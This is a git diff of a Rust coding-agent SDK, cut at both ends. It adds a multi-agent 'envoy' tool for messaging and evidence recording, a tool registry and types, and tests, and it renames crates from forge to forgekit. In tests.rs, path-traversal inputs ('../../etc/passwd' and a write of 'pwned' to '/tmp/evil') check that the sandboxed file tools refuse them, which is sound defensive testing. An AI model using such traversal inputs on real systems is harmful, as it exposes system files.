.unwrap_or_else(|| "other".to_string()); + let tool_category: crate::evidence::types::ToolCategory = + serde_json::from_value(serde_json::Value::String(tool_category_str)) + .unwrap_or_default(); + let record = crate::evidence::ToolCallEvidence { + tool_name: Self::str_field(&arguments, "tool_name").unwrap_or_default(), + tool_version: Self::str_field(&arguments, "tool_version"), + input_hash: Self::str_field(&arguments, "input_hash").unwrap_or_default(), + input_summary: Self::str_field(&arguments, "input_summary").unwrap_or_default(), + output_hash: Self::str_field(&arguments, "output_hash"), + output_summary: Self::str_field(&arguments, "output_summary"), + exit_status: Self::str_field(&arguments, "exit_status") + .unwrap_or_else(|| "ok".to_string()), + latency_ms: Self::u64_field(&arguments, "latency_ms").unwrap_or(0), + input_tokens_est: Self::u64_field(&arguments, "input_tokens_est"), + tool_category, + }; + let tool_name = record.tool_name.clone(); + self.client.forge_tool_call(session_id, &record).await?; + Ok(format!("Recorded tool call evidence for {}", tool_name)) + } + + // ── Evidence: File Write ─────────────────────────────────────────── + "record_evidence_file_write" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let record = crate::evidence::FileWriteRecord { + file_path: Self::str_field(&arguments, "file_path").unwrap_or_default(), + file_id: Self::str_field(&arguments, "file_id").unwrap_or_default(), + before_hash: Self::str_field(&arguments, "before_hash"), + after_hash: Self::str_field(&arguments, "after_hash").unwrap_or_default(), + lines_added: Self::u64_field(&arguments, "lines_added").unwrap_or(0), + lines_deleted: Self::u64_field(&arguments, "lines_deleted").unwrap_or(0), + lines_changed: Self::u64_field(&arguments, "lines_changed").unwrap_or(0), + write_type: Self::str_field(&arguments, "write_type") + .unwrap_or_else(|| "edit".to_string()), + }; + let file_path = record.file_path.clone(); + self.client.forge_file_write(session_id, &record).await?; + Ok(format!("Recorded file write evidence for {}", file_path)) + } + + // ── Evidence: Commit ────────────────────────────────────────────── + "record_evidence_commit" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let commit_msg = Self::str_field(&arguments, "message").unwrap_or_default(); + let record = crate::evidence::CommitRecord { + commit_sha: Self::str_field(&arguments, "commit_sha").unwrap_or_default(), + parent_sha: Self::str_field(&arguments, "parent_sha"), + message: commit_msg.clone(), + author: Self::str_field(&arguments, "author").unwrap_or_default(), + files_changed: Self::u64_field(&arguments, "files_changed").unwrap_or(0), + lines_inserted: Self::u64_field(&arguments, "lines_inserted").unwrap_or(0), + lines_deleted: Self::u64_field(&arguments, "lines_deleted").unwrap_or(0), + commit_type: crate::evidence::types::CommitType::classify(&commit_msg), + feature_tag: Self::str_field(&arguments, "feature_tag"), + }; + self.client.forge_commit(session_id, &record).await?; + Ok("Recorded commit evidence.".to_string()) + } + + // ── Evidence: Test Run ──────────────────────────────────────────── + "record_evidence_test_run" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let record = crate::evidence::TestRunRecord { + test_name: Self::str_field(&arguments, "test_name").unwrap_or_default(), + test_suite: Self::str_field(&arguments, "test_suite"), + test_command: Self::str_field(&arguments, "test_command").unwrap_or_default(), + result: Self::str_field(&arguments, "result") + .unwrap_or_else(|| "ok".to_string()), + duration_ms: Self::u64_field(&arguments, "duration_ms").unwrap_or(0), + logs_summary: Self::str_field(&arguments, "logs_summary"), + }; + let test_name = record.test_name.clone(); + let test_result = record.result.clone(); + self.client.forge_test_run(session_id, &record).await?; + Ok(format!( + "Recorded test run evidence: {} ({})", + test_name, test_result + )) + } + + // ── Evidence: Fix Chain ─────────────────────────────────────────── + "record_evidence_fix_chain" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let fix_type_str = Self::str_field(&arguments, "fix_type") + .unwrap_or_else(|| "compile_error".to_string()); + let severity_str = + Self::str_field(&arguments, "severity").unwrap_or_else(|| "medium".to_string()); + let record = crate::evidence::FixChainRecord { + bug_commit_sha: Self::str_field(&arguments, "bug_commit_sha") + .unwrap_or_default(), + fix_commit_sha: Self::str_field(&arguments, "fix_commit_sha") + .unwrap_or_default(), + fix_type: serde_json::from_value(serde_json::Value::String(fix_type_str)) + .unwrap_or_default(), + severity: serde_json::from_value(serde_json::Value::String(severity_str)) + .unwrap_or_default(), + cycles_to_fix: Self::u64_field(&arguments, "cycles_to_fix").unwrap_or(1) as u32, + time_to_fix_ms: Self::u64_field(&arguments, "time_to_fix_ms").unwrap_or(0), + }; + self.client.forge_fix_chain(session_id, &record).await?; + Ok("Recorded fix chain evidence.".to_string()) + } + + // ── Evidence: Bench Run ─────────────────────────────────────────── + "record_evidence_bench_run" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let bench_name = arguments["bench_name"] + .as_str() + .ok_or_else(|| "Missing 'bench_name' parameter".to_string())?; + let is_regression = Self::bool_field(&arguments, "is_regression").unwrap_or(false); + self.client + .forge_bench_run( + session_id, + bench_name, + Self::i64_field(&arguments, "mean_ns"), + Self::i64_field(&arguments, "median_ns"), + Self::i64_field(&arguments, "p95_ns"), + is_regression, + ) + .await?; + Ok("Recorded bench run evidence.".to_string()) + } + + // ── Evidence: Query Events ──────────────────────────────────────── + "query_events" => { + let session_id = arguments["session_id"].as_str(); + let event_type = arguments["event_type"].as_str(); + let limit = arguments["limit"].as_i64(); + let events = self + .client + .query_events(session_id, event_type, limit) + .await?; + if events.is_empty() { + return Ok("No events found.".to_string()); + } + let lines: Vec = events + .iter() + .map(|e| { + let et = e.get("event_type").and_then(|v| v.as_str()).unwrap_or("?"); + let ts = e.get("timestamp").and_then(|v| v.as_str()).unwrap_or("?"); + format!("- {} @ {}", et, ts) + }) + .collect(); + Ok(format!("Events ({}):\n{}", events.len(), lines.join("\n"))) + } + + _ => Err(format!( + "Unknown envoy command: '{}'. Available: {}", + command, COMMAND_LIST + )), + } + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "envoy", + "Multi-agent coordination and evidence tracking via envoy. \ + Messaging: send_message, poll_messages. \ + Discovery: store_discovery, query_discoveries, query_knowledge. \ + Handoff: store_handoff, get_pending_handoff, claim_handoff. \ + Evidence: record_evidence_prompt, record_evidence_tool_call, record_evidence_file_write, \ + record_evidence_commit, record_evidence_test_run, record_evidence_fix_chain, \ + record_evidence_bench_run, query_events.", + serde_json::json!({ + "type": "object", + "properties": { + "command": { + "type": "string", + "description": "The envoy command to execute" + }, + "to": { + "type": "string", + "description": "Recipient agent name (send_message)" + }, + "content": { + "description": "Message content (send_message)" + }, + "since": { + "type": "integer", + "description": "Timestamp to filter messages from (poll_messages)" + }, + "discovery_type": { + "type": "string", + "description": "Type of discovery (store_discovery)" + }, + "target": { + "type": "string", + "description": "Target symbol/concept (store_discovery, query_discoveries, query_knowledge)" + }, + "metadata": { + "type": "object", + "description": "Arbitrary metadata (store_discovery)" + }, + "to_agent": { + "type": "string", + "description": "Recipient agent name (store_handoff)" + }, + "manifest": { + "type": "object", + "description": "Handoff manifest (store_handoff)" + }, + "handoff_id": { + "type": "integer", + "description": "Handoff ID to claim (claim_handoff)" + }, + "session_id": { + "type": "string", + "description": "Session identifier (evidence commands)" + } + }, + "required": ["command"] + }), + ) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::envoy::EnvoyConfig; + + fn test_client() -> Arc { + Arc::new(EnvoyClient::new(EnvoyConfig { + url: "http://localhost:19999".to_string(), + agent_name: "test-forge".to_string(), + })) + } + + #[test] + fn test_envoy_tool_definition() { + let tool = EnvoyTool::new(test_client()); + let def = tool.definition(); + assert_eq!(def.name, "envoy"); + } +} diff --git a/forgekit_agent/src/chat/tools/mod.rs b/forgekit_agent/src/chat/tools/mod.rs new file mode 100644 index 0000000..ce15632 --- /dev/null +++ b/forgekit_agent/src/chat/tools/mod.rs @@ -0,0 +1,26 @@ +pub mod builtins; +pub mod registry; +pub mod types; +pub mod validation; + +#[cfg(feature = "atheneum")] +pub mod atheneum_tool; +#[cfg(feature = "envoy")] +pub mod envoy_tool; + +pub use builtins::{ + default_builtin_tools, default_builtin_tools_sandboxed, default_builtin_tools_with_graph, + default_builtin_tools_with_graph_sandboxed, FileReadTool, FileWriteTool, GraphQueryTool, + ShellExecTool, +}; +pub use registry::{AsyncTool, BuiltinToolRegistry, ToolRegistry}; +pub use types::{ToolCall, ToolDef, ToolOutput}; +pub use validation::validate_tool_arguments; + +#[cfg(feature = "atheneum")] +pub use atheneum_tool::AtheneumTool; +#[cfg(feature = "envoy")] +pub use envoy_tool::EnvoyTool; + +#[cfg(test)] +mod tests; diff --git a/forge_agent/src/chat/tools/registry.rs b/forgekit_agent/src/chat/tools/registry.rs similarity index 74% rename from forge_agent/src/chat/tools/registry.rs rename to forgekit_agent/src/chat/tools/registry.rs index bb06953..813433d 100644 --- a/forge_agent/src/chat/tools/registry.rs +++ b/forgekit_agent/src/chat/tools/registry.rs @@ -3,12 +3,28 @@ use super::validation::validate_tool_arguments; use async_trait::async_trait; use std::collections::HashMap; +/// Contract for agent-callable tools. +/// +/// Implement this trait to add custom tools to the agent's tool registry. +/// +/// ## Stability +/// +/// This trait is part of the stable SDK contract. Breaking changes to the +/// signature will be accompanied by a major version bump. #[async_trait] pub trait AsyncTool: Send + Sync { + /// Execute the tool with the given JSON arguments. async fn call(&self, arguments: serde_json::Value) -> Result; + /// Return the tool's JSON schema definition for the LLM. fn definition(&self) -> ToolDef; } +/// Pluggable tool registry trait. +/// +/// ## Stability +/// +/// This trait is part of the stable SDK contract. Breaking changes to the +/// signature will be accompanied by a major version bump. #[async_trait] pub trait ToolRegistry: Send + Sync { async fn execute(&self, call: &ToolCall) -> ToolOutput; @@ -40,6 +56,14 @@ impl BuiltinToolRegistry { self.register(tool); } } + + pub fn retain(&mut self, mut f: F) + where + F: FnMut(&str) -> bool, + { + self.tools.retain(|name, _| f(name)); + self.defs_cache = None; + } } impl Default for BuiltinToolRegistry { diff --git a/forgekit_agent/src/chat/tools/tests.rs b/forgekit_agent/src/chat/tools/tests.rs new file mode 100644 index 0000000..cc4395f --- /dev/null +++ b/forgekit_agent/src/chat/tools/tests.rs @@ -0,0 +1,347 @@ +use crate::chat::tools::builtins::{FileReadTool, FileWriteTool, GraphQueryTool, ShellExecTool}; +use crate::chat::tools::registry::{AsyncTool, BuiltinToolRegistry, ToolRegistry}; +use crate::chat::tools::types::{ToolCall, ToolDef, ToolOutput}; + +#[test] +fn tool_def_construction() { + let def = ToolDef::new( + "my_tool", + "Does something useful", + serde_json::json!({"type": "object", "properties": {"x": {"type": "integer"}}}), + ); + assert_eq!(def.name, "my_tool"); + assert_eq!(def.description, "Does something useful"); + assert_eq!(def.parameters["properties"]["x"]["type"], "integer"); +} + +#[test] +fn tool_def_empty_has_empty_properties() { + let def = ToolDef::empty("noop", "Does nothing"); + assert_eq!(def.parameters["properties"].as_object().unwrap().len(), 0); +} + +#[test] +fn tool_call_construction() { + let call = ToolCall::new("c1", "file_read", serde_json::json!({"path": "a.rs"})); + assert_eq!(call.id, "c1"); + assert_eq!(call.name, "file_read"); + assert_eq!(call.arguments["path"], "a.rs"); +} + +#[test] +fn tool_output_success() { + let out = ToolOutput::success("c1", "file contents"); + assert!(!out.is_error); + assert_eq!(out.content, "file contents"); + assert_eq!(out.tool_call_id, "c1"); +} + +#[test] +fn tool_output_error() { + let out = ToolOutput::error("c1", "file not found"); + assert!(out.is_error); + assert_eq!(out.content, "file not found"); +} + +#[test] +fn tool_def_serde_roundtrip() { + let def = ToolDef::new("t", "desc", serde_json::json!({"type": "object"})); + let json = serde_json::to_string(&def).expect("serialize"); + let back: ToolDef = serde_json::from_str(&json).expect("deserialize"); + assert_eq!(def, back); +} + +#[tokio::test] +async fn registry_unknown_tool_returns_error() { + let registry = BuiltinToolRegistry::new(); + let call = ToolCall::new("c1", "nonexistent", serde_json::json!({})); + let output = registry.execute(&call).await; + assert!(output.is_error); + assert!(output.content.contains("Unknown tool")); +} + +#[tokio::test] +async fn registry_has_tool() { + let mut registry = BuiltinToolRegistry::new(); + assert!(!registry.has_tool("echo")); + registry.register(Box::new(EchoTool)); + assert!(registry.has_tool("echo")); +} + +#[tokio::test] +async fn registry_definitions() { + let mut registry = BuiltinToolRegistry::new(); + registry.register(Box::new(EchoTool)); + let defs = registry.definitions(); + assert_eq!(defs.len(), 1); + assert_eq!(defs[0].name, "echo"); +} + +#[tokio::test] +async fn registry_execute_known_tool() { + let mut registry = BuiltinToolRegistry::new(); + registry.register(Box::new(EchoTool)); + let call = ToolCall::new("c1", "echo", serde_json::json!({"message": "hello"})); + let output = registry.execute(&call).await; + assert!(!output.is_error); + assert_eq!(output.content, "hello"); +} + +#[tokio::test] +async fn registry_execute_tool_error() { + let mut registry = BuiltinToolRegistry::new(); + registry.register(Box::new(EchoTool)); + let call = ToolCall::new("c1", "echo", serde_json::json!({})); + let output = registry.execute(&call).await; + assert!(output.is_error); + assert!(output.content.contains("missing required argument")); +} + +#[tokio::test] +async fn file_read_tool_writes_and_reads() { + let dir = tempfile::tempdir().expect("tempdir"); + let write_tool = FileWriteTool::new(dir.path()); + let read_tool = FileReadTool::new(dir.path()); + + write_tool + .call(serde_json::json!({"path": "test.txt", "content": "hello world"})) + .await + .expect("write"); + + let content = read_tool + .call(serde_json::json!({"path": "test.txt"})) + .await + .expect("read"); + assert_eq!(content, "hello world"); +} + +#[tokio::test] +async fn file_read_tool_path_escape_blocked() { + let dir = tempfile::tempdir().expect("tempdir"); + let tool = FileReadTool::new(dir.path()); + let result = tool + .call(serde_json::json!({"path": "../../etc/passwd"})) + .await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("traversal")); +} + +#[tokio::test] +async fn file_write_tool_path_escape_blocked() { + let dir = tempfile::tempdir().expect("tempdir"); + let tool = FileWriteTool::new(dir.path()); + let result = tool + .call(serde_json::json!({"path": "/tmp/evil", "content": "pwned"})) + .await; + assert!(result.is_err()); +} + +#[tokio::test] +async fn shell_exec_tool_runs_command() { + let dir = tempfile::tempdir().expect("tempdir"); + let tool = ShellExecTool::new(dir.path()); + let output = tool + .call(serde_json::json!({"command": "echo hello"})) + .await + .expect("exec"); + assert_eq!(output.trim(), "hello"); +} + +#[tokio::test] +async fn shell_exec_tool_captures_error() { + let dir = tempfile::tempdir().expect("tempdir"); + let tool = ShellExecTool::new(dir.path()); + let result = tool.call(serde_json::json!({"command": "exit 1"})).await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Exit code 1")); +} + +struct EchoTool; + +#[async_trait::async_trait] +impl AsyncTool for EchoTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + arguments["message"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| "Missing 'message' parameter".to_string()) + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "echo", + "Echoes back the message parameter", + serde_json::json!({ + "type": "object", + "properties": { + "message": {"type": "string"} + }, + "required": ["message"] + }), + ) + } +} + +async fn create_indexed_forge(dir: &std::path::Path, source: &str) -> forgekit_core::Forge { + let src_dir = dir.join("src"); + tokio::fs::create_dir_all(&src_dir) + .await + .expect("create src"); + tokio::fs::write(src_dir.join("lib.rs"), source) + .await + .expect("write lib.rs"); + let forge = forgekit_core::ForgeBuilder::new() + .path(dir) + .db_path(dir.join("test-graph.db")) + .build() + .await + .expect("forge build"); + forge.graph().index().await.expect("index"); + forge +} + +#[tokio::test] +async fn graph_query_find_symbol() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn my_func() -> i32 { 42 }\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "find_symbol", "name": "my_func"})) + .await + .expect("call"); + assert!(result.contains("my_func")); + assert!(result.contains("Found 1 symbol(s)")); +} + +#[tokio::test] +async fn graph_query_find_symbol_empty() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn other() {}\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "find_symbol", "name": "nonexistent"})) + .await + .expect("call"); + assert!(result.contains("No symbols found")); +} + +#[tokio::test] +async fn graph_query_callers_of() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge( + dir.path(), + "fn helper() -> i32 { 1 }\nfn caller() -> i32 { helper() }\n", + ) + .await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "callers_of", "name": "helper"})) + .await + .expect("call"); + assert!(result.contains("caller")); + assert!(result.contains("Found")); +} + +#[tokio::test] +async fn graph_query_references() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn my_func() -> i32 { 42 }\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "references", "name": "my_func"})) + .await + .expect("call"); + assert!(result.contains("reference") || result.contains("No references")); +} + +#[tokio::test] +async fn graph_query_cycles() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn a() { b() }\nfn b() { a() }\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "cycles"})) + .await + .expect("call"); + assert!(result.contains("Cycle") || result.contains("No cycles")); +} + +#[tokio::test] +async fn graph_query_impact_analysis() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge( + dir.path(), + "fn base() -> i32 { 1 }\nfn mid() -> i32 { base() }\nfn top() -> i32 { mid() }\n", + ) + .await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "impact_analysis", "name": "base", "max_hops": 2})) + .await + .expect("call"); + assert!(result.contains("impacted") || result.contains("No impacted")); +} + +#[tokio::test] +async fn graph_query_unknown_command() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn foo() {}\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "invalid_query"})) + .await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Unknown graph command")); +} + +#[tokio::test] +async fn graph_query_missing_command() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn foo() {}\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool.call(serde_json::json!({})).await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Missing 'command'")); +} + +#[tokio::test] +async fn graph_query_missing_name_for_find_symbol() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn foo() {}\n").await; + let tool = GraphQueryTool::new(forge); + let result = tool + .call(serde_json::json!({"command": "find_symbol"})) + .await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Missing 'name'")); +} + +#[tokio::test] +async fn graph_query_definition_has_command_enum() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn foo() {}\n").await; + let tool = GraphQueryTool::new(forge); + let def = tool.definition(); + assert_eq!(def.name, "graph_query"); + let enum_vals = def.parameters["properties"]["command"]["enum"] + .as_array() + .expect("enum array"); + assert!(enum_vals.iter().any(|v| v == "find_symbol")); + assert!(enum_vals.iter().any(|v| v == "callers_of")); + assert!(enum_vals.iter().any(|v| v == "references")); + assert!(enum_vals.iter().any(|v| v == "cycles")); + assert!(enum_vals.iter().any(|v| v == "impact_analysis")); +} + +#[tokio::test] +async fn registry_with_graph_tool() { + let dir = tempfile::tempdir().expect("tempdir"); + let forge = create_indexed_forge(dir.path(), "fn foo() {}\n").await; + let tools = crate::chat::tools::default_builtin_tools_with_graph(dir.path(), forge); + let mut registry = BuiltinToolRegistry::new(); + registry.register_many(tools); + assert!(registry.has_tool("file_read")); + assert!(registry.has_tool("file_write")); + assert!(registry.has_tool("shell_exec")); + assert!(registry.has_tool("graph_query")); +} diff --git a/forgekit_agent/src/chat/tools/types.rs b/forgekit_agent/src/chat/tools/types.rs new file mode 100644 index 0000000..925d97d --- /dev/null +++ b/forgekit_agent/src/chat/tools/types.rs @@ -0,0 +1,138 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] +pub struct ToolDef { + pub name: String, + pub description: String, + pub parameters: serde_json::Value, +} + +impl ToolDef { + pub fn new( + name: impl Into, + description: impl Into, + parameters: serde_json::Value, + ) -> Self { + ToolDef { + name: name.into(), + description: description.into(), + parameters, + } + } + + pub fn empty(name: impl Into, description: impl Into) -> Self { + ToolDef::new( + name, + description, + serde_json::json!({"type": "object", "properties": {}}), + ) + } +} + +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] +pub struct ToolCall { + pub id: String, + pub name: String, + pub arguments: serde_json::Value, +} + +impl ToolCall { + pub fn new( + id: impl Into, + name: impl Into, + arguments: serde_json::Value, + ) -> Self { + ToolCall { + id: id.into(), + name: name.into(), + arguments, + } + } +} + +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] +pub struct ToolOutput { + pub tool_call_id: String, + pub content: String, + pub is_error: bool, +} + +impl ToolOutput { + pub fn success(tool_call_id: impl Into, content: impl Into) -> Self { + ToolOutput { + tool_call_id: tool_call_id.into(), + content: content.into(), + is_error: false, + } + } + + pub fn error(tool_call_id: impl Into, content: impl Into) -> Self { + ToolOutput { + tool_call_id: tool_call_id.into(), + content: content.into(), + is_error: true, + } + } + + pub fn truncated(mut self, max_bytes: usize) -> Self { + if self.content.len() > max_bytes { + let truncated_len = self.content.len() - max_bytes; + self.content.truncate(max_bytes); + self.content + .push_str(&format!("\n[... truncated {truncated_len} bytes ...]")); + } + self + } +} + +pub fn truncate_tool_output(content: &str, max_bytes: usize) -> String { + if content.len() <= max_bytes { + return content.to_string(); + } + let truncated_len = content.len() - max_bytes; + let mut result = content[..max_bytes].to_string(); + result.push_str(&format!("\n[... truncated {truncated_len} bytes ...]")); + result +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn no_truncation_when_under_limit() { + let output = ToolOutput::success("call_1", "hello").truncated(100); + assert_eq!(output.content, "hello"); + } + + #[test] + fn truncation_when_over_limit() { + let long = "x".repeat(200); + let output = ToolOutput::success("call_1", &long).truncated(100); + assert!(output.content.contains("[... truncated 100 bytes ...]")); + assert!(output.content.len() < 200); + } + + #[test] + fn truncation_exact_boundary() { + let data = "x".repeat(100); + let output = ToolOutput::success("call_1", &data).truncated(100); + assert_eq!(output.content, "x".repeat(100)); + } + + #[test] + fn free_function_truncate() { + let long = "abcdefghij".repeat(10); + let result = truncate_tool_output(&long, 50); + assert!(result.contains("[... truncated 50 bytes ...]")); + } + + #[test] + fn free_function_no_truncate() { + let result = truncate_tool_output("short", 100); + assert_eq!(result, "short"); + } +} diff --git a/forge_agent/src/chat/tools/validation.rs b/forgekit_agent/src/chat/tools/validation.rs similarity index 100% rename from forge_agent/src/chat/tools/validation.rs rename to forgekit_agent/src/chat/tools/validation.rs diff --git a/forge_agent/src/chat/types.rs b/forgekit_agent/src/chat/types.rs similarity index 90% rename from forge_agent/src/chat/types.rs rename to forgekit_agent/src/chat/types.rs index f72fb35..f7bc94b 100644 --- a/forge_agent/src/chat/types.rs +++ b/forgekit_agent/src/chat/types.rs @@ -11,6 +11,7 @@ pub enum Role { #[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] #[serde(tag = "type", rename_all = "snake_case")] +#[non_exhaustive] pub enum ContentBlock { Text { text: String, @@ -74,6 +75,7 @@ impl ContentBlock { } #[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct ChatMessage { pub role: Role, pub content: Vec, @@ -137,6 +139,7 @@ impl ChatMessage { } #[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct Usage { pub prompt_tokens: Option, pub completion_tokens: Option, @@ -144,6 +147,7 @@ pub struct Usage { } #[derive(Clone, Debug, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct ChatResponse { pub message: ChatMessage, pub usage: Usage, @@ -151,7 +155,24 @@ pub struct ChatResponse { pub finish_reason: Option, } +impl ChatResponse { + pub fn new(message: ChatMessage, usage: Usage, model: impl Into) -> Self { + ChatResponse { + message, + usage, + model: model.into(), + finish_reason: None, + } + } + + pub fn with_finish_reason(mut self, reason: impl Into) -> Self { + self.finish_reason = Some(reason.into()); + self + } +} + #[derive(Clone, Debug, thiserror::Error)] +#[non_exhaustive] pub enum LlmError { #[error("HTTP request failed: {0}")] Http(String), diff --git a/forge_agent/src/chat/types_tests.rs b/forgekit_agent/src/chat/types_tests.rs similarity index 100% rename from forge_agent/src/chat/types_tests.rs rename to forgekit_agent/src/chat/types_tests.rs diff --git a/forge_agent/src/cli.rs b/forgekit_agent/src/cli.rs similarity index 94% rename from forge_agent/src/cli.rs rename to forgekit_agent/src/cli.rs index 02afd42..78715bc 100644 --- a/forge_agent/src/cli.rs +++ b/forgekit_agent/src/cli.rs @@ -8,25 +8,25 @@ //! Run the full agent loop: //! //! ```bash -//! $ forge-agent run "Add authentication to all API endpoints" +//! $ forgekit-agent run "Add authentication to all API endpoints" //! ``` //! //! Plan only (dry run): //! //! ```bash -//! $ forge-agent plan "Add feature flag system" +//! $ forgekit-agent plan "Add feature flag system" //! ``` //! //! Show agent status: //! //! ```bash -//! $ forge-agent status +//! $ forgekit-agent status //! ``` #![allow(clippy::too_many_arguments)] use clap::{Parser, Subcommand}; -use forge_agent::Agent; +use forgekit_agent::Agent; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -35,7 +35,7 @@ async fn main() -> anyhow::Result<()> { /// CLI arguments for the agent. #[derive(Parser, Debug)] -#[command(name = "forge-agent")] +#[command(name = "forgekit-agent")] struct Cli { #[command(subcommand)] action: Action, @@ -157,13 +157,13 @@ pub async fn run() -> anyhow::Result<()> { println!(" CFG analyses: {}", stats.metrics.cfg_analyses); println!( " Cache hits: {}", - runtime.metrics().count(forge_runtime::MetricKind::CacheHit) + runtime.metrics().count(forgekit_runtime::MetricKind::CacheHit) ); println!( " Cache misses: {}", runtime .metrics() - .count(forge_runtime::MetricKind::CacheMiss) + .count(forgekit_runtime::MetricKind::CacheMiss) ); println!(" Hit rate: {:.1}%", stats.metrics.cache_hit_rate * 100.0); } else { @@ -273,7 +273,7 @@ mod tests { #[tokio::test] async fn test_cli_accepts_with_runtime_flag() { // Test that CLI parsing accepts --with-runtime flag - let cli = Cli::try_parse_from(["forge-agent", "run", "test query", "--with-runtime"]); + let cli = Cli::try_parse_from(["forgekit-agent", "run", "test query", "--with-runtime"]); assert!(cli.is_ok()); let cli = cli.unwrap(); @@ -293,7 +293,7 @@ mod tests { #[tokio::test] async fn test_cli_accepts_verbose_flag() { // Test that CLI parsing accepts --verbose flag - let cli = Cli::try_parse_from(["forge-agent", "run", "test query", "--verbose"]); + let cli = Cli::try_parse_from(["forgekit-agent", "run", "test query", "--verbose"]); assert!(cli.is_ok()); let cli = cli.unwrap(); @@ -314,7 +314,7 @@ mod tests { async fn test_cli_accepts_both_flags() { // Test that CLI parsing accepts both flags together let cli = Cli::try_parse_from([ - "forge-agent", + "forgekit-agent", "run", "test query", "--with-runtime", diff --git a/forge_agent/src/commit.rs b/forgekit_agent/src/commit.rs similarity index 78% rename from forge_agent/src/commit.rs rename to forgekit_agent/src/commit.rs index 56993b0..b756373 100644 --- a/forge_agent/src/commit.rs +++ b/forgekit_agent/src/commit.rs @@ -75,17 +75,6 @@ impl Committer { Ok(status.success()) } - - pub fn generate_summary(&self, steps: &[crate::planner::PlanStep]) -> String { - let mut summary = String::from("Applied "); - for (i, step) in steps.iter().enumerate() { - if i > 0 { - summary.push_str(", "); - } - summary.push_str(&step.description); - } - summary - } } #[derive(Clone, Debug)] @@ -105,30 +94,6 @@ mod tests { let _committer = Committer::new(); } - #[tokio::test] - async fn test_generate_summary() { - let committer = Committer::new(); - let steps = vec![ - crate::planner::PlanStep { - description: "Step 1".to_string(), - operation: crate::planner::PlanOperation::Inspect { - symbol_id: forge_core::types::SymbolId(1), - symbol_name: "test".to_string(), - }, - }, - crate::planner::PlanStep { - description: "Step 2".to_string(), - operation: crate::planner::PlanOperation::Inspect { - symbol_id: forge_core::types::SymbolId(2), - symbol_name: "test2".to_string(), - }, - }, - ]; - let summary = committer.generate_summary(&steps); - assert!(summary.contains("Step 1")); - assert!(summary.contains("Step 2")); - } - #[tokio::test] async fn test_finalize_empty_files_no_git() { let _temp_dir = TempDir::new().unwrap(); diff --git a/forge_agent/src/context.rs b/forgekit_agent/src/context.rs similarity index 100% rename from forge_agent/src/context.rs rename to forgekit_agent/src/context.rs diff --git a/forge_agent/src/envoy.rs b/forgekit_agent/src/envoy.rs similarity index 88% rename from forge_agent/src/envoy.rs rename to forgekit_agent/src/envoy.rs index cf2a9c7..79bc0fb 100644 --- a/forge_agent/src/envoy.rs +++ b/forgekit_agent/src/envoy.rs @@ -156,7 +156,7 @@ impl EnvoyClient { } let payload = serde_json::json!({ "name": self.config.agent_name, - "kind": "forge-agent" + "kind": "forgekit-agent" }); let resp = self .client @@ -370,6 +370,84 @@ impl EnvoyClient { Ok(Some(val)) } + /// Claim a pending handoff by ID. + pub async fn claim_handoff(&self, handoff_id: i64) -> Result<(), String> { + let url = self.url(&format!("/atheneum/handoffs/{}/claim", handoff_id)); + let resp = self + .post_auth(&url, &serde_json::Value::Object(serde_json::Map::new())) + .await?; + + if resp.status().is_success() { + Ok(()) + } else { + let status = resp.status(); + let body = resp.text().await.unwrap_or_default(); + Err(format!("claim_handoff {status}: {body}")) + } + } + + /// Record a bench run evidence entry. + pub async fn forge_bench_run( + &self, + session_id: &str, + bench_name: &str, + mean_ns: Option, + median_ns: 